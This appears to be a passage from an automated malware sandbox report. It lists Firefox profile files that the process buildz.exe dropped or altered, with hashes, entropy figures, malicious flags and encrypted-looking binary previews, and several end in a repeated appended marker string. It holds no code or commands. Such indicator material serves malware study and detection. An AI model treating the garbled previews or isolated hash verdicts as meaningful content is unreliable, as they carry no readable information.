Preview:	SQLit.4g.G.2a.C.,.!"...-..gN<.hT........{).3.Y........%.......6..\I.....[\Cw.!......,...6G@.....pp.. ..0zK.....\|0.diu0..7)xd.?.Z\|..9..F..Xo..6.0... ...L..w:2.(+.....8....L+F....n2....>E7.9M...(....i..a......;%.......j4Y..T0w...h.^B...l.nZee.w.&`....c-.0..X]...]...#%].Z..c.{E~..&.].Q.L....tM.?...J.j.....S..A.}.\.$.D.h. P..l..+...W..26.[..>.(3.(...1........./Z....R,.T....l....=.%...M;...}P......ic..Pis..R.oD\:..$..V........'..?.z..I...u.......H...S..(..Z.a.D"....CI.0`....?...r.."...4/.....9.Y.Q..f.^].s..._9H&].....,...p.K......`.b_...,.(b.<.j9E.b8R.T.dVM....{p.....a.............H.`....L.....fx.....(k.:h.8%[.M..Og...m...UJ......B..h...Z...Rb57..&9....v.1..I.`T.r<b ...[....e .)#.....K&.$'fYn.....L..gL"+=x%<..5.S..G.C.L.w.....03.......v.....[....r+8..2;.......u....c.0.x...!..o..yb@gi..]...S......e....0X<..U.#....0.._.N.......*L...............;..I.U...+PU.q...{.8..RC_~....-@.W.....a.X].A...t.q%.C...2..-Eo.4....Al.......e....g......g.!c.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.764428046645392
Encrypted:	false
SSDEEP:	12:mqIwLlzzbQwLbHDa4EqdsXbVroxQl2us0pBAmV6zpqIhpy01+cii9a:mqIG3HDXfKXproxOt7f8qILMbD
MD5:	6A78E5464481C5E565CB970693EAA57B
SHA1:	C9727B94B2F048E3E05D5B5F91D1505F117A8D2B
SHA-256:	7A7B7A564A075EC74E4015564971966F0E33758EF729FD5B8738D82F64B08E91
SHA-512:	18AAFFFFE09DB8D497EF91ED82E1A377CC6B6084BC0AC428AFEE4B127CC976E802329D2084D6867B6CBFBF1193DE5AF41F1AD3A8E02F72BEC629BBABDA468B9C
Malicious:	false
Reputation:	unknown
Preview:	libra4.=...=V.<(."....Xo.vO....ig.Io...Q....T.....n..0+>.i.q<]...MV.......^h....`8.."...+.,..".Y....-.....k....)....'.O9.u.9.]~.Lx$j!y....WH>.\|B~...lY..l......r_......A..U...a.....t.a.x.......s..)..F...........QG..j.]...z.].I....\IB5".o"... .S+...-.......:....-....9....y.vr..0wy.{.....d..E.c..q.XF.1.!s...._x......H..........OL4.....+.1-.5..m.`=.....x..]p.N.[..VA...f0..... ....v..<...!...~u(...,QA.:....Mg.....[......".$.<.....\|e...({B....&...z..%.[F.V.y....O..dj.,.=..g..#!..N..yA.ikI..S:[t/..e....l..RBVR..;..G....?S..;a:Bv!UV&.oa...wV..Q..N...06q.0.q..W...K.{ ...=.'lMt.r;),U..m....j.....'v..cUS.DJRD....Os..Fj..i..#g..@'...j......P.s."$...!4lT.+..6..g.9.:....J...#.H71X.....U^.6...d..D..GH.!..+.X/4CA.. .J...D.....l..=SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.43221273081599987
Encrypted:	false
SSDEEP:	3072:oPzS2ErW9RkqVg5MwEe62FzX3Ss/huRrGDqS3Wt9TY/lo:o7SrK9R3RwEf2xHbpudV4eR9
MD5:	F7FEF28E786DDE2BD1F2AF35CCE55B71
SHA1:	4BD9566C63DB151649437274F2E4BD0EAA2DD7DC
SHA-256:	F272E53DBEBDC68E9B3B744715DFABDC93F90EF1ABB4C2D78110159B70F2B446
SHA-512:	6DCAB231065422337BBCFF17814B7C357E3232DB7242F1AEF1A92FA162D3B5DCE020B95779884FC24B38EBAC99C16709185972013C4EA565B2F57C389FD5C419
Malicious:	true
Reputation:	unknown
Preview:	SQLitI..7f.....4.W.....0ho..g.(.:1..-....Wc.?..%NSGp.t.oW.R2..Z...D.....\]....$.+..o...K.......#5-...p"...>.h...~.b.# .(D.z.Z.-..n.'.....Ls....-C...m.D{Af...>..a.....s......X.r.mH..^.k..._..V...5.m>...K@.RmA$,.6.[.l......x]yY) ..x...R{..-)r3(...........)0-s{...G....l.......bT...g....K.@........".a..xm.B.r.....6.26.F...wg<8.A..W.4.W.%.(b.c./..Pz...fI.(.!..v,.t...g....C.......,...0.s...O..J...7u.........$.ky..(..I.T...$...[.k.'B.1...q.......!fg.+z....Ks.......O.CC..X:.A[.$&kL.0...b.x}k!L~....?.LqNK.HLh......0...+.s.,...x.t.. .?I...>..$0.:.Y. .>..H>..6Wz..2...u..%.....M.......].A'....j...i.dy..W..w....WCub....(t..H...Qx..CD..E.a....q....%...o.l....XZ-E.K...%:.........6Y".0.....7....7....}.p.X..FGr}.!"B..v&.BN).9w.).,..iT.C...m{......3..+.;..?.v...T.E.>}lR ...yw..b....,.n.v.C.24.Y.l1...U......P.?D..f."\|.....x+..Y.u..I..rC...U.n.>......> bL....w-.E?L....<.#.s.6.X..b..n\y........9e"p..E.Je..s...D,...bf...0.......Q_Y..>..{......Sf......g\|O

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994482706235153
Encrypted:	true
SSDEEP:	768:EeWRZJjLZBkfea/CCX9mNxL3w1sccZnY7uh6MJTXsxk9d9rH6:E1JhBXSX9q3PZnYH+Tx9jrH6
MD5:	1D04EDF95032C13F15B203877DA276CB
SHA1:	18DE4BC13CA922DD9C14AF350FAD05B6AFB63C7B
SHA-256:	B055A2D4AEBC49D2EEF4466D181CAE124E248D4A040DD08B28EF8C2432D8E45D
SHA-512:	4F2597CBB08F89551A5D042335E6FD8E9C0DBF8777F0E7F1C7ADDA2C37471D54CCAEA4A0DFBBC2B31BE06D7F657E3BEFD9DC157D2DF5A49DAF6B871B57386189
Malicious:	true
Reputation:	unknown
Preview:	..-..o;W],.j..D.....wEN.&/+6@.it+:....8....:..s...U.y.D..bk..NEu...O$..L......{..g.......J.#....r...B.a^...y!.!1E!.....y...-"..>..E.4...5.O.@.Xf.........k."..=.Y.5....D...s.d...j...G.k8c.....G..2&@..TS..NS...sd..~X.....w.A......4....&.T.c$u1....oD.V.....Q....yXPb..i..sj..w).(.!#?...`FC..K.....A.[....S."~v.!6..&..]2N.....x..oM.D.]....i...._U.%%W.:..H./.P..+..0.n,]..}..{.......$...36.r~.-.[./.{<Y.x....!....].>..>qP...%<.NI...................$K....Pg_+..iL..].....9.W...D.Th...P.%.S..nE.&.....0....;..w...n..:...c.i.d..H0Z........e.\|1...6$N.R\|m...h~.\..l)...J..:.{.rt..9...'...fQS.5.i.V.gk........w..G...`...$@v..U8...5..N.j. ,.7.......\|.....D../.5O:yF...t`.K../p\|t6f-O.....P.4.:..Py...^S.......#)...[...)..tQ...:...VECf.e..e.AU.....h.q..\|.B4O5....&...ob...>..b'...>z..O..EE..6A.i.t.n[.=-.^`12`Zz22......A.vr<j...-.$O&..e..CX...i.}@,.*....;Z.#M.....y.....'.$..[T..+..e.E.6....Rm..b>......zY....t9...t;F)...&........HBwa.s.`..JE.N(8.u..nt.^..@.h!$..+.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	9905
Entropy (8bit):	7.98238650330791
Encrypted:	false
SSDEEP:	192:/YEiLPUIMZCeBVtAz9cCCCSbCSumhYcedFKT5yi5wAySv9qrFGzXBR33:/YzMv0ent2BOzkdFE5R5wAyA9WYzfH
MD5:	EF54AE5020B100F26614321206EC66C3
SHA1:	377C9DF069C264B8755522E7C9D8526953FF8816
SHA-256:	C66F389DA760D13C2FD03A40DFB31F0ACFF0071E7CE697E18B7E5FE7FE690936
SHA-512:	BC969410B7D15C2F1A98B3D45E11D9F32F32A8C5EC789AD25B7741A99B45280AC9BB1C1D98EDC4AB284B4DE0E37087E4BDAE7C3D72430B96116113D26E5F9A65
Malicious:	false
Reputation:	unknown
Preview:	// Mo.U%)^.U......F.."...(.dA.=X<4......g#.e~.r.:\|.V.$]eB.Ha.<.8.-.y.m......f.a#.a..yK.m.(.<.f..,.W,..t..ZF......... n....:.j...&W~.9l.d.......>R..I.C...A...?T#W.?........\|....B.....p./:..{..D..V...~+...3..'....<.2Kp..9E..3[#KM...Zo.....a........w.z.v...\|...j.X.0Z,......;...\/..(.....~.93.....q10V.p\....ed.R.U.Y.G....k.)......t......'t...O..).3..Q?k..#..%08aF...3......8..-..Z.<.j........S........H._.B.6..j..!>..Q.u.....Y.O..$..J+..w.9$sd..k..a-..n....V......>.O....J..2x....q.Vx..-.........d...pDg......%-...^.m.SA.)+..~g.`n!e>...t..].=\.L........Q..6q..........W.p......X.K....}.....\it...>.8.F.T.P..C..I _....e...1OLC....^.h.....c..]......!u...m....qU..L.a!...@..O..H+.% .W.W.y7wt....%..@..RU.../.H.D...Z...K.B%.S........zY.5...5.....d....0v.Z.;.P.S......MQ.8..].P_Q.Q...D.Y.%.>...mi...."....]w^-m.r..'.@x.D..h.7.......^..g3....3.8...h../...Es..*\.Q./.....X....H..s;iC"....vs:......U.]s.5......_'1D.....E...h.Jz9....>..W?..hG!.{.aQ.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997049399194218
Encrypted:	true
SSDEEP:	1536:jzAcjNxOgSf6aAb5WRNtryc3aGVUJVay7Ew4r4WAY:XAczOg9VgjrycR6Wy7zY
MD5:	994B1AF0870EBB5D2183EC9132299B9A
SHA1:	8BF0E3AED2C4122F2F19D96E77918B17284C629B
SHA-256:	082DF3A2D51067AE1B1CD2915C98A860765581CC0CA8BF32878A5A5B43959596
SHA-512:	093D79AD55894B623EC33035D61972E585F3974A113D80BDC8AA05689D3902A3DF1E4367AA2754FBB677DCFE7A8A3CC14674DBE5CA39B3FA40F0F1F5D2EAE23A
Malicious:	true
Reputation:	unknown
Preview:	SQLit..e....d.K..<..........~.b.......6~}..[.fn..-p.8.}F".<.0.."...7...`.."......Y.3..dF&....Q7.....^.....U....@...L.+yd~\|........7%...N/.....9.....j..f,..1E.....B..neC.W.).O.b..\|UUH..58...7".'?,......3..U......sq\z.....Nb/(D........x..6..vJ.(...8N.>.A..5...G.K`.......+..G...]..;.QH.......>.4...<.O....C.#L..D.....ahp..^.!.j....r../.......y.7...S.4E2.[..c.QA.13.!;?4..E.d[......").o...W..mqD....Q....R.S,..w...7.U.D.7.).e...-...j..bq..;.........1.B'gT.h..Y-.#..H..=r.x1.....>?..?.wb.......O....Y..s.e.-3.....S;.L<..g.@.@`..1k...G.;.7...iO...u......Q.....e.....;;.j.\|...@...S.g.%.R...V... .. M/...b...0....4.r).u/;..-....,_M<..D....1...f.R.....ne../.k..D..j.....(Vug.G..{.@A.....W.>.^.W.i..:..i..=.....i...&E....f-....Wf].V{.X.!W....x.r.V.<.E.\....2q\.m.&.!....._.6...8.4.....+h..y.=...Cl..a.o/.,..{...f$-.w..<.....Eg.?e.......nAf.<k.!..2..:...J..m.Y@F.....:..x...j....[.^z........aU....~....4...a..0...!.....D..k....A.....c..q#....rl.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.662827136058389
Encrypted:	false
SSDEEP:	12:3/yavE4+QHX3FRml5D1Sk81NhE/uV5GkR/j2fmyYMv1+cii9a:3/O1QHnFRg9yPE49/ly2bD
MD5:	EF2547DCCDD4BA9416C05264639095D1
SHA1:	819FA7E9CBB3F1F37674312BBD1911135AA1AD5B
SHA-256:	C0440D024B5D154BA9EB054BF6141E371F64DAB2AA059357A7BE42328822AC04
SHA-512:	391EA05466EE1E8DAAAFB6B760F9B4E6C403E27F543F0E9BA795BFB2368758B5E50917B4273F2BC95D33E77D7F59051FFA005E85D0A5D61CBEBB239722952F7B
Malicious:	false
Reputation:	unknown
Preview:	mozLz,...4....a...f.5+.k...,.sh.....?..35..V.K..Y#..y......`.^L.....lF...F...C.\|..T.bW.\|..y8.;1.JBj.~.%dk4's.<...5[....R.X..2C....?.&M#...Y...0.L...?...J......iJ....A........r..[.zX..9.,.:..tx9.._+..D.G...a.t..P.-T.b=Z..F.I.R.A..........\..^..k.}@."........ML....W.......N.......j l......9.a6P..l..$..DK..V.y.R..-#0.;`....>:...7.+T......o........>_z.y.U...,.^....H.+.F.Y]a.....X...vlO..T........'#......e...o....e..{n.....?.....^......3.....oo$?..d2...H\|\|.j.*...:k.p.l?....A.......~.........hx.`S........R.o..d.m..B.....x..\|eY..Z.(a#....~#.Ci.......jG._z..\K.\.=_.bK.!..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	7.650693151276999
Encrypted:	false
SSDEEP:	12:YogAfdmOYQ3JlgtZGSAVkEr4MY/gHcrZfzLH1+cii9a:YB2EbALOhEkkzmg89fzLUbD
MD5:	F86A1AB19C0E9FEE810B423529F5D86A
SHA1:	843CB822199EB9C1A6252C1D55B04F86C9F7F8C1
SHA-256:	EFA8B61FDBF92D0012C8811B735A8D40CA13C71ED5A77038DCBC3B6DFABF6D9A
SHA-512:	39F7987EB499FD5A8076EE652FF6EB02E10B8A2D513E70A930E059EA20EBD344A55AB5DB7B5C012998A5308055431B729618D9DE017E1136EF75AF12DCC9AD1A
Malicious:	false
Reputation:	unknown
Preview:	{"pro.z..+...r.9.g=.....a..g..:..f.C].muw..>.4w!...X3...hu....8.N.l.;..!.w.... ."/I..d.L.a"...Nui\K...^...^A.o...n..S...$[.x........!.tH.\|.....8o........b....."a.`...]..K.....}...8.......Fi.k.)....Y;R.....H.Z.IK.. .Z0..L+...X."..{...... B^Q.7..v.Z..z........6Z..a\.VjwU....K.A....vh.N..D=...&....4b-.W......htA#g.dA...x.........#...2x.K.y......xh.:R<..=_0..h..i...t..z........>..;t.t.fm.U..!.w0]..oF...[....."....x_+.o...c\|}.k........x:.d.,Y.^.}...uK.3....tE.Gu.=L-b?.p.CT..R#.i....).....z..E.eS{/b.........\|...$3.=SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.876590128862723
Encrypted:	false
SSDEEP:	48:b3UjjMQwSRhyErJLKGp2oMK0VAxk54QSD:jUjj7wSvygKG3MK0Vok58
MD5:	25512277D8BE56E42B5117F233A7C313
SHA1:	96494E242625D32C0046FD2CD909CD11594AF604
SHA-256:	5B1BEC8CDFB3E3D1619CF990D69BA5B00309FF1CA368A49E127AB72A3D3E51BA
SHA-512:	DBD6AF398B6FE2D0B7143A14B3FF83B509E63888032FB462697EE2424C2044A137AAC98DC1D1465A16804166AD70A17A8D43E3D3DCF642B38DA8609FAE814E43
Malicious:	false
Reputation:	unknown
Preview:	mozLzKX<.+&.+....A..B...J.s........c.Uv...I.=....$(".....R#.o*~.tf:j.m....l.._....[..d...V....D...3aE..$..==.8...?...9..h#.....K.B.....k.,=.+.....[..8..#>3.y4.v..\...0am~x.X.....$q.9{.0....p...s.../.g....m'.!me...\|.....!]...e..._......g:..Q.1.W_.)..zY8./..D...l..w.tNb...m..).t...P.-.......<..j..'.....1.w..#g.....o....AEb}c..9y...%0...FwG%..M.n%<h&..,F.pa.G.....^..).9......"../........f6O.....]..[Z..6..6.._..Gl...5.....+..e.h_.y%.<..Gw......p....^.V#..6KW..!I.(H)..X./>.}...:6.H..v.....y......h.a.<.=M..N.9....lJ...\|...........m.B.<.....Ay0n]..e....p..r.0.E..9..p...J...(.(.v.&.Y......Mw... U.~..].....p.gR.._)s...z..3.F...A/..g...........v.I6.Z5%..........l,.M.......1..E....h..v;..HJ.......\Lq....Dz..Q.]M.N.....3S7G....M1.tf-E.#oe=,.../.U4...h.A...W,.(...=. ..u.%..]h...mw....m.'I....g6l.Q.q'.>^.....v.b...>.P.j.zl.40.k.J.<C.`f.B:../=.ZS..........b........@.....-.z.#y3$.\.zuNk.............\.?...6.VK..".2...2-FCq1.h}M.{.SXk.......4..!...ou

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.236454285280563
Encrypted:	false
SSDEEP:	6:YAlaKI91edowlyVa2+c3p1/fwO/QFacdDpQnaz5EvWpIjoWyc3cii96Z:Ysax1edoAncj/fizQuKWpJ1+cii9a
MD5:	B55BEB54EE0D76994C9A280E0523CCEF
SHA1:	32C9A446C1F861432C0981A1B68326BCEDBA7C89
SHA-256:	C6299A9EC600684091F18309785D5D68FF663F0B9732B433EE73DEA463989837
SHA-512:	BEF173A2C563F4F6F1E9BD46DD9D40BE1C67E79737558C150784F97E22FF4D94A749E9FC8CF5D69022DE5ECC21E67D6E2435F3F751DE724096C4009FDC387EEC
Malicious:	false
Reputation:	unknown
Preview:	{"exp....?YAS...Y9.x.T%.;.-:%...BU...F}..>;...,..\.8....NK.....).\.d...e......8..6......M6;.:..gOH...o9..=.(......Y ..f..,.B.>.I}gT..kQ@d..+.epu`.p@n....-M.(.1.xS.w.....^.@..N.-.{....A0:.h..*>5..q:.O#.A...T ......3....Yz.vu;..2Q.1.L..x..!.1IX.y7#8>ko.i....._SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.9584279856420626
Encrypted:	false
SSDEEP:	96:UbHLdQt55y4WuUJsL3dApD56MIXBa8KX2yzu66CSqdFaP/u45:Cr29y9CL3GpAGzu663P/T
MD5:	EC85FF8505AFAE81ED7F997D6391C018
SHA1:	557CAEEB64DB8FE0F8D798FDC7F163236F6378B3
SHA-256:	2882386E5C6CC87FA7EC958ADD1996FEB59081D057EEF06F7C7AA61C9C3F2BD2
SHA-512:	E128A75F13FC610BBADAF0E398EC78091DC6D32F7ABAD03CCF5A8D58FAFA5E004EF87395955359F86E7ACA0F29BE82647829B4C42279763BC96CE66CBDF08501
Malicious:	false
Reputation:	unknown
Preview:	SQLit.....en.3...t...!2.\|n...o3..81.W..n...@...u-.FgU}..V..U.^......+Q.u.....0.T.....].Y.......b..M..i...9...~..AzC.X.:b7JTA..."...K.O.....x1.K....~..a......J.....Ez...Y.z..k....B.?NK...bC.5..l.x....1bru..d./..&l...E.>...g...R....Y.P.U.>......s...0RgI.....l.W........M.+..Dh.p.G....v;!YQ....\|....7......2...S.. ......)...!".{.H.......W%V.v..m&.>..'...5..^.(..%;.......+}@y.....A.ixRg..6X.1..$L...d....<.UN. V..^`T....J.."....Qn.0s!..c?./r....N1..(...X...)A..n..-....\..[........_.X..,@.3....$...0hj.C.}*.,.....+.2..(_....cFT...q...j.j........^.&.]..J ....m....2:.4...{..:m.C.....WA...O....%ZAC...?.y.[m!l..[<X..w.$p..[.m...S...2....>4.P..L.D?.~........6.K..[t".Jl.cY....RV..?...,7t.Z.?.?Te..Y.D......y...........Izh....$q.4!..v...r.8.%t.z.Q.^K..)"....CO....Vb}.kq.....Q.,..t.ine.e@...D...nQ..6..I.1,..9..;.S.4..#.0..zp.\.t2.....oy..y...a!....W...&.=C}X.Gj.e..l..KK....o..3.28.x.0...x'2uF.d....1.\u...........;u..._...5...[yv...5/.j.%...=...z....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4021
Entropy (8bit):	7.957303281143021
Encrypted:	false
SSDEEP:	48:YeQn2RqRhDJRo22Z7XczsRXde7vNHp1NaIKY3S6ZI2tzqhtN4VPGcQroK+u1p6o0:5qRCZVde7VDKyS6ZZUncQrEbmNK4oWw5
MD5:	AD95C23BC037A8D4AF34B741CA201C4A
SHA1:	858CD98531B8660CC893E60C3A34DB967A2ECF77
SHA-256:	5AB5064216630E1CEF081B9C80E5B1C103EFA060FCFA8E965ECCD52433532295
SHA-512:	67497D48831F863D429B965B3FDBE1B112C44124B00F457E6B6C4671FABC22034A1C5B92DC138E8CC1159F440250C74605E94DB5012DA79119A6E43F5C2A761E
Malicious:	false
Reputation:	unknown
Preview:	{"env..w%....w...y..!...T...5>et.>.....V.@: z.f..9p.....w.Hte..FE..(...rw..4.P....s7.....7.6C...>..J.E../...\g.YUF.Y..R(.T ..b...]..8...A..XG#2.n.ka......'t.M.n....@>.....w%../.{......!61_t.k..a4Uy.;s^..I....g.r.0C.W...W..b.T.n....!....e.8..W.)....9..b...!.>e.Q....S..>bE......2..I.F=...pV..._.j....~)o......V.;...,..Jm..:.o.k.e[.i...J...(.=@o.;...A..D.6T6..7..=..{c..~..6X.$.C.........\/..B...@.......kRq...Z.K@G@P.g..}..i....xPlo.a0d..t.O"B..8.J...,.FN.6.....a.h.y.].`1...[.Nv...?.[...}.C~.K....'.2......y..{....[!{...z.;.c`'c.N..E_.......bQ;.......(.E.'Db$ZC.9..P3F\d...Q.....uC0{.C...i0..:.f.M.R....r...5.2.....z..?H....LWGqW.83.....@...<qIMI..,@,..q.....!<...>.;......q..R..9.........c.(Pe0...)vR..X...2.`....P..m.1.`Z.......@.....q.....<.3.....>[.57...8......5....[.....y.;...f5..I.$`.e7.-./............Z:N.v%...9......l..x......c..Wt.G..xK....jo.:F....2.sU.....s.q.!...2u.....J.2..o.T.M,u.>E...%7..QG....+`...*`.U...l:X.h...fe...lL

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.293670607763318
Encrypted:	false
SSDEEP:	6:YGjIvgUzOErA+61HHwOk+YxT5/mclCKxeqxyMM6WJ3UiWQtphMWUPPcFrKCfWycn:YGjIvgMOErO1hkLT5/59C8gphMViWM14
MD5:	17F08D31535C4B13A403402CAE36F3B8
SHA1:	60B3ED2E9ABDE6063869B570ECF0F4C0D5F69D2C
SHA-256:	820445A18AA1399ACF34C468F4C9865D62B76BA054D7E4C8BC7251863489C9CA
SHA-512:	54E16179710F8FF890C508B4EA2DEB70A3A4BA253E223715EED5A0031EDEB953B06CD0DB59FCD083528C6E5C413643AD8DB44FF86E997E9D2098351D7A4914FD
Malicious:	false
Reputation:	unknown
Preview:	{"cre..S......I..t..T..<>j..u..k.4....Z!.......dn.L.h..!3j....EU.GE....q.K-..E6...E..W.#.....s..6..U..PU.hb>.....%[d.H.>....o....k...+<1.......E..sZ.dYOTG.....P...KKj%....^.ot..L.u....D......BT.,\......>.`..~.U1..........,.t}n..y.2..b....l.=....@.eb)ec~...lCd4]..,,[.7.3.?...L.....v.uSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.9982530697719145
Encrypted:	true
SSDEEP:	3072:P+ZFoB0uZ8GIOGYYN4kocpWTlZR2nhGEcMnkH:f0uZ8v49UWTlDohGE3kH
MD5:	374EC8D02FD13CE36945A2B28C4EF59D
SHA1:	BE3C400A4217324AB5442C373106EE746E7030A0
SHA-256:	811BF48C0BC190E34168A6B2A1DD065718A7C0E86CB600723A3E5B398F96B7EA
SHA-512:	451D0AF69AF95884E95053DF1B3E5DCED973695B888FACF4F5CDBD9C2979AB94A0245C39F8949E34C575DC43961CEBF4A62C708E02556C9505F2CCFAED4C7553
Malicious:	true
Reputation:	unknown
Preview:	SQLit.Hc..]...F...z\ ..........[.......F0..&....u.$..7?.`...#..1A..s..)..t.......#...9....8b..."............v..........`....iGU......7c..R.......=...2x.,.?z.@.......aaiV......+.IL...r...:B....0<.H.1./....:D.eWe..\|..H...O..._.F52.._..b^....w,.../....:...5v+.[.6.....n.....:......uv.RY.vX.1.gD.k.9..509-..%.. .g\{..H....Pt......=......?u..2...)..d..k.d.'.....{[.... G.g.$J.`.{....r........n..(...,.U=......l..bn.X....D...y'....cu\.....+k.....u...[.....k......-~Oh.....\|.....+U,.E[..~.(RM.....P.)..mB....BtyZ.x......6....W...&..3..-.Ef..?.L9.....<.A.........m.Q....)V.P<...tb..K.;[.!.F.{....a.5.*..e..<\|R..~.^..iKQ.R.m.n0.'.......z.2..r.Y8+..~w....D9dW.....}..t{UR.yr.......... ....^..{...n..rD...={.NyTEas..-.=...(.q....#...{..Je..o ...W.... .ob.+c...R....H.........u.\;.(.A=.].r.v.......fD.5...=.....b.@...6...E.VU.....It....\..d.....a.kk......A...ed.s.x..o...F.&~.#.jo...c..w....>k5o..h.........?,.....").gd......4........[..b.2.$c

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.993717853818296
Encrypted:	true
SSDEEP:	768:FM339vk2gwFROStkBPvHdFF+9WwhJviumOYjIVWyIUt:FodfFYStGPvrF+9BmtUQyIUt
MD5:	15A6C764612BD129D1DD1B8AA091836D
SHA1:	47B27C8B2183B66F13D22CCBC64AD046AA9A707F
SHA-256:	B46C5EDC788FFE2A74447C8BD2B2BB8F4F479012055B669D5BC78B2CCCF4A9C7
SHA-512:	C73C84B44088900392BB860C82DAC5ADE070D9599F940BFB8E65135E49C9DEC394D633D2CFC911EC09F12142ABD7A67A67255FA810FA3504FC6C3E6C4C9CA33D
Malicious:	true
Reputation:	unknown
Preview:	..-...I.Y8.Iz...o..j=.AM0.+...&..l...g.g"......'.....#(....n/...........$..3.t.Sqa."....U...~.[....$..g?6 ?rm..Q........A.G.~Ew..j.{lj.J+.C..4..6[<......P.P.@..f..Q....1...Y...-.......0.....j...'K..M.t.st.7g.DE...hw...@...w....$..A...b..^8....X..4.x.. ..D......2j..\..V.s..}.2Y.){.Vc..<.a.WN..,....3..!wW...70..2....qfS)I..NJ.../.&v_>.j..f.~.z1h....6l...8)^.Ue..{...8..H..%.B".....\|.[6Y..!E....z..\|Vs..a.'...&.mqc....Kl....YP..d........t.....d.0.?../.<0.9..:[..t.......D...q...2u...#'X..Pz......O9G..I.5!p..e._...$...46.\|.{.&m.W..Q......dW.&p.l...b.d.(w*.aT.D......}...].c..2m...m.fSj..R.0.7.Ia..D.?y.(..,..,.....1.bH+I......B3R wJ...O;.s........-...\0...._T......1...FX_N..U.0...k..qJ.W.N..X9n..R..E.4Z.....-.HG...N.?.a.WB9yQ.f...s.a.2......8.......6B..A.......{...=.S:.5r1.].4...K\|....A'.E....G+...,...l..y.."B.{.ac....t.R.{a...5.<.h.;..r.1...qg.5:J..q.Rdy.`3x..m..7..m...i..p.93..t.Q..!..@D.....ou.._..[.".........Z..K.q.5.c...l...9..-.W...u6R.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	454
Entropy (8bit):	7.398465312749325
Encrypted:	false
SSDEEP:	6:YGLpPhpPW+jw67bVmw6kir3wyImLc2HscPR7VQ02EDHR9/dWyc3cii96Z:YGrtBPvVR6kYA0cTIR7mcR9F1+cii9a
MD5:	8E691C37E72EBF7A06BE2AE33036CF0D
SHA1:	2E79AE04BDE0E95A6AFF7FED2F3AA7704DB01210
SHA-256:	4222DFB9FA489117CF8898EB085C945891AB5CB5973A6B2451C9C20AC5E09446
SHA-512:	72CE7ACC841283C4EB8A41A48228FECFFB2E363A771DA07A62CACA82D394933D95404480F2022BCFDEEB499E737EA30447061068840E6F35FFDC729532CB7BB6
Malicious:	false
Reputation:	unknown
